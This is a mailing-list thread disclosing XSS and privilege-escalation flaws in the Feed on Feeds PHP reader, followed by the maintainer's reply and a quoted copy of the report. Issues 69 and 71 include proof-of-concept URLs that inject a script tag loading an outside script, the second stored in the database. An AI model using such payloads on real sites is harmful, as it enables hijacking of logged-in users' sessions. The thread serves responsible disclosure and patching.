Issue 69, 70 and 71 in feed-on-feeds: XSS and SQL Security Flaws

[David Mazza]

All patches are attached to the bugs reports in Google Code.

I'm combining all three bugs into this one email to lighten the load on everybody's inbox.

http://code.google.com/p/feed-on-feeds/issues/detail?id=69

What steps will reproduce the problem?
1. If a user is logged into the system, an attacker can exploit add.php by sending the user a link with a script in the GET field.
2. If the user is logged in, then the attacker can execute any javascript code, including code loaded from a foreign website.

What is the expected output? What do you see instead?
This type of untrusted input should be rejected. Instead, it was echoed to the browser.

Please use labels and text to provide additional information.
This is a sample link that a logged in user could receive: 
http://VictimWebApp.com/add.php?rss_url="><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT
URL Encoded version:
http://VictimWebApp.com/add.php?rss_url=%22%3E%3CSCRIPT%20SRC=http://ha.ckers.org/xss.js%3E%3C/SCRIPT
This script is not dangerous, it only demonstrates an XSS attack.
I have attached one potential fix. It should be noted that this attack can also work on POST fields, so I have fixed those as well

http://code.google.com/p/feed-on-feeds/issues/detail?id=70

What steps will reproduce the problem?
1. Using prefs.php, regular logged in users can add or delete other users by modifying POST fields in their request header.
2. An attacker could also trick a logged in user to click on a button hosted elsewhere with the POST data necessary to add or delete a user.

What is the expected output? What do you see instead?
Add/delete user requests should not be accepted from non-admin users (I assume).

Please use labels and text to provide additional information.
I fixed this issue by adding a check "fof_is_admin()" to each sensitive if statement.
The fix is attached. I've also attached a sample of a form that an attacker might use to trick a user. Note that this form could be hosted off-site.

http://code.google.com/p/feed-on-feeds/issues/detail?id=71

What steps will reproduce the problem?
1. If a user is logged in, an attacker can send him a link to add-tag.php with javascript in the tag GET field.
2. When the user goes back to the main page, if he has any items, the XSS script will be executed. 
3. The script is stored in the Database, so it will continue affecting the user until the tag is deleted from the item or the database all together.

What is the expected output? What do you see instead?
add-tag.php should sanitize untrusted input. Instead, it accepts it and puts in into the database, even getting around fof_safe_query

Please use labels and text to provide additional information.
This could be solved in each file like add-tag.php, or in the fof-db.php file to prevent this bug from being exploited anywhere else. There are several other places where this is possible, but this is the most dangerous one that I found. All would be fixed with changes to fof_safe_query. I have attached changes below to address the problem. This could also be fixed with a prepared sql statement, but I have just used htmlentities to keep it compatible with older versions of PHP. This should also prevent and SQL Injection attack.

This is the url that an attacker could send to a logged-in user:
URL Encoded:
http://VictimWebApp.com/add-tag.php?tag=%3CSCRIPT/SRC=http://ha.ckers.org/xss.js%3E%3C/SCRIPT%3E&item=4
The attacker does not necessarily need to correctly choose an item number, as long as the item number exists and the user is subscribed to it's feed. If an attacker can find a feed that all or most users would be subscribed to (like maybe the host site's feed) then this is an easy attack.

Note the comment:

I discovered that my patch destroys the feed importing function, so unfortunately the bug will have to be fixed in add-tag.php. I've attached a new patch.

[Stephen Minutillo]

Thanks for finding and patching these XSS and privilege-escalation
holes. For issue 70 I am going to use your patch as is, and for issue
69 and 71 I will solve the problem by using htmlentities() at the time
the content is output.


Steve

On May 18, 2:33 pm, David Mazza <dmazz...@gmail.com> wrote:
> All patches are attached to the bugs reports in Google Code.
> I'm combining all three bugs into this one email to lighten the load on
> everybody's inbox.
>
> http://code.google.com/p/feed-on-feeds/issues/detail?id=69
>

> *What steps will reproduce the problem?*

> 1. If a user is logged into the system, an attacker can exploit add.php by sending the user a link with a script in the GET field.
> 2. If the user is logged in, then the attacker can execute any javascript code, including code loaded from a foreign website.

> *What is the expected output? What do you see instead?*

> This type of untrusted input should be rejected. Instead, it was echoed to the browser.

> *Please use labels and text to provide additional information.*
> This is a sample link that a logged in user could receive:http://VictimWebApp.com/add.php?rss_url="><SCRIPT <http://victimwebapp.com/add.php?rss_url=%22%3E%3CSCRIPT> SRC=http://ha.ckers.org/xss.js></SCRIPT
> URL Encoded version:http://VictimWebApp.com/add.php?rss_url=%22%3E%3CSCRIPT%20SRC=http://...<http://victimwebapp.com/add.php?rss_url=%22%3E%3CSCRIPT%20SRC=http://...>

> This script is not dangerous, it only demonstrates an XSS attack.
> I have attached one potential fix. It should be noted that this attack can also work on POST fields, so I have fixed those as well
>
> http://code.google.com/p/feed-on-feeds/issues/detail?id=70
>

> *What steps will reproduce the problem?*

> 1. Using prefs.php, regular logged in users can add or delete other users by modifying POST fields in their request header.
> 2. An attacker could also trick a logged in user to click on a button hosted elsewhere with the POST data necessary to add or delete a user.

> *What is the expected output? What do you see instead?*

> Add/delete user requests should not be accepted from non-admin users (I assume).

> *Please use labels and text to provide additional information.*

> I fixed this issue by adding a check "fof_is_admin()" to each sensitive if statement.
> The fix is attached. I've also attached a sample of a form that an attacker might use to trick a user. Note that this form could be hosted off-site.
>
> http://code.google.com/p/feed-on-feeds/issues/detail?id=71
>

> *What steps will reproduce the problem?*

> 1. If a user is logged in, an attacker can send him a link to add-tag.php with javascript in the tag GET field.
> 2. When the user goes back to the main page, if he has any items, the XSS script will be executed.
> 3. The script is stored in the Database, so it will continue affecting the user until the tag is deleted from the item or the database all together.

> *What is the expected output? What do you see instead?*

> add-tag.php should sanitize untrusted input. Instead, it accepts it and puts in into the database, even getting around fof_safe_query

> *Please use labels and text to provide additional information.*

> This could be solved in each file like add-tag.php, or in the fof-db.php file to prevent this bug from being exploited anywhere else. There are several other places where this is possible, but this is the most dangerous one that I found. All would be fixed with changes to fof_safe_query. I have attached changes below to address the problem. This could also be fixed with a prepared sql statement, but I have just used htmlentities to keep it compatible with older versions of PHP. This should also prevent and SQL Injection attack.
>
> This is the url that an attacker could send to a logged-in user:

> URL Encoded:http://VictimWebApp.com/add-tag.php?tag=%3CSCRIPT/SRC=http://ha.ckers...<http://victimwebapp.com/add-tag.php?tag=%3CSCRIPT/SRC=http://ha.ckers...>